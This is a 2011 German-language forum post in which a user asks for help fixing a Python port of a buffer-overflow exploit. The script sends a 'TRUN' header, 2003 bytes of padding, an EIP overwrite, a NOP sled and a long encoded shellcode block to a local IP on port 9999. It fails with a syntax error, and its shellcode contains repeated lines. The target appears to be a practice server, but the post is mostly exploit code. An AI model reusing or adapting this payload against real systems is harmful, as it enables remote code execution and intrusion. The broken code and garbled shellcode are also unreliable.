Re: Perl nach Python portieren problem (send data script)
Verfasst: Mittwoch 19. Oktober 2011, 14:52
@Jens
Danke für deine Antwort
Ich hoffe ich hab Dich richtig verstanden.Ich hab das script jetzt mal so wie du sagtes geändert (zumindest hoffe ich das)
Aber ich glaube ich habe schon wieder was falsch gemacht
Fehlercode:
Kannst du mir noch einen Tip geben? Ich glaube das sock.send(data) und das sock.close() muss am Ende des scripts stehen? :K
Danke für deine Antwort

Ich hoffe ich hab Dich richtig verstanden.Ich hab das script jetzt mal so wie du sagtes geändert (zumindest hoffe ich das)
Code: Alles auswählen
#!/usr/bin/python
import socket
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(address)
sock.send(data)
sock.close()
def main():
header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('<I', 0x625011af)
nop = '\x90'*20
shellcode = ('\x89\xe1\xda\xc4\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43'
'\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58'
'\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
'\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
'\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
'\x4d\x59\x43\x30\x45\x50\x43\x30\x43\x50\x4c\x49\x4b\x55'
'\x56\x51\x58\x52\x52\x44\x4c\x4b\x51\x42\x56\x50\x4c\x4b'
'\x51\x42\x54\x4c\x4c\x4b\x51\x42\x54\x54\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x4f\x47\x51\x5a\x47\x56\x50\x31\x4b\x4f'
'\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32'
'\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f\x37'
'\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x56\x32\x54\x50'
'\x4c\x4b\x50\x42\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30'
'\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x45\x51\x58\x50'
'\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x56\x38\x51\x30'
'\x43\x31\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47\x44'
'\x4c\x4b\x43\x31\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50'
'\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x43\x31\x58\x47\x50\x38'
'\x4d\x30\x52\x55\x4b\x44\x54\x43\x43\x4d\x5a\x58\x47\x4b'
'\x51\x42\x54\x4c\x4c\x4b\x51\x42\x54\x54\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x4f\x47\x51\x5a\x47\x56\x50\x31\x4b\x4f'
'\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32'
'\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f\x37'
'\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x56\x32\x54\x50'
'\x4c\x4b\x50\x42\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30'
'\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x45\x51\x58\x50'
'\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x56\x38\x51\x30'
'\x43\x31\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47\x44'
'\x4c\x4b\x43\x31\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50'
'\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x43\x31\x58\x47\x50\x38'
'\x4d\x30\x52\x55\x4b\x44\x54\x43\x43\x4d\x5a\x58\x47\x4b'
'\x43\x4d\x56\x44\x52\x55\x4d\x32\x56\x38\x4c\x4b\x50\x58'
'\x51\x34\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
'\x4c\x4b\x51\x48\x45\x4c\x43\x31\x4e\x33\x4c\x4b\x45\x54'
'\x4c\x4b\x43\x31\x58\x50\x4b\x39\x50\x44\x47\x54\x51\x34'
'\x51\x4b\x51\x4b\x43\x51\x56\x39\x50\x5a\x56\x31\x4b\x4f'
'\x4d\x30\x56\x38\x51\x4f\x51\x4a\x4c\x4b\x54\x52\x5a\x4b'
'\x4c\x46\x51\x4d\x43\x5a\x43\x31\x4c\x4d\x4b\x35\x4e\x59'
'\x43\x30\x43\x30\x43\x30\x50\x50\x43\x58\x56\x51\x4c\x4b'
'\x52\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4b\x4e\x54\x4e'
'\x56\x52\x5a\x4a\x52\x48\x4f\x56\x4d\x45\x4f\x4d\x4d\x4d'
'\x4b\x4f\x49\x45\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
'\x4b\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x52\x33'
'\x54\x32\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
'\x45\x33\x45\x31\x52\x4c\x45\x33\x43\x30\x41\x41'
address = ('192.168.2.105', 9999)
data = ''.join([header, junk, eip, nop, shellcode])
send(address, data)
if __name__ == '__main__':
main()

Fehlercode:
Code: Alles auswählen
root@bt:~# python exploit.jens.py
File "exploit.jens.py", line 51
address = ('192.168.2.105', 9999)
^
SyntaxError: invalid syntax